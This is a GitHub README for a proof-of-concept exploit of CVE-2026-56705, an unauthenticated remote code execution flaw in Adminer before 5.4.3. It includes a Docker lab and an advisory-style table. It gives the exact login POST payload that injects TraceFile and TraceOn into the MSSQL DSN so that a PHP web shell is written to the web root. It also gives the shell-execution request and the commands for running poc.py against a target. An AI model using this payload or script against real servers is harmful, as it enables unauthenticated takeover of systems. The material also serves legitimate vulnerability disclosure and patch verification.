boreas37/cve-2026-56705PoC exploit for Adminer < 5.4.3 unauthenticated RCE via MSSQL PDO DSN injection, including Docker lab and negative test.
| CVE | CVE-2026-56705 |
| GHSA | GHSA-r4x9-5m63-3vxw (vendor advisory) / GHSA-34q8-53jm-qc2r (GitHub DB) |
| Product | Adminer (single-file PHP database management tool) |
| Affected | Adminer < 5.4.3 with pdo_sqlsrv + Microsoft ODBC Driver for SQL Server |
| Fixed in | 5.4.3 |
| CVSS | 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Type | CWE-20 → unauthenticated arbitrary file write → RCE |
Adminer fails to sanitize the user-supplied server field before building the
PDO DSN for MSSQL connections:
// adminer/drivers/mssql.inc.php
function attach(string $server, string $username, string $password): string {
list($host, $port) = host_port($server);
return $this->dsn("sqlsrv:Server=$host" . ($port ? ",$port" : ""), $username, $password);
}
Semicolons in server are treated as ODBC connection-attribute delimiters, so an
unauthenticated attacker can append arbitrary attributes to the DSN — including
TraceFile and TraceOn. The unixODBC trace facility writes the full connection
string (with UID={username} verbatim) to TraceFile before and regardless of
the connection attempt succeeding. Injecting PHP code through the username field
and pointing TraceFile into the web root produces a web shell.
A single unauthenticated login POST is enough. No valid credentials, no user interaction.
auth[driver] = mssql
auth[server] = 127.0.0.1;TraceFile=/var/www/shell.php;TraceOn=1
auth[username] = <?php echo 'POC::'.shell_exec($_GET['c']);?>
auth[password] = x
sqlsrv:Server=127.0.0.1;TraceFile=/var/www/shell.php;TraceOn=1UID={<?php ... ?>} to /var/www/shell.phpGET /shell.php?c=id → command executes# fingerprint only
python3 poc.py --target http://target/adminer.php --check
# full exploit (writes <random>.php into the web root)
python3 poc.py --target http://target/adminer.php --command "id"
cd lab/
docker build -t adminer-cve-2026-56705 .
docker run -d -p 8081:8081 adminer-cve-2026-56705
python3 ../poc.py --target http://localhost:8081/adminer.php --command id
The lab image mirrors the advisory prerequisites exactly: php:8.3-cli +
pdo_sqlsrv (pecl) + msodbcsql18, web root writable by the PHP process.
mssql driver, or strip
; (and whitespace) from user-supplied server values at a reverse proxy.Vendor advisory credits the discovery jointly to the reporter and Yashar Shahinzadeh (@voorivex).
PoC & lab: Hamza Cagrici (@Boreas37)
| Date | Event |
|---|---|
| 2026-08-25 | CVE published / fixed in Adminer 5.4.3 |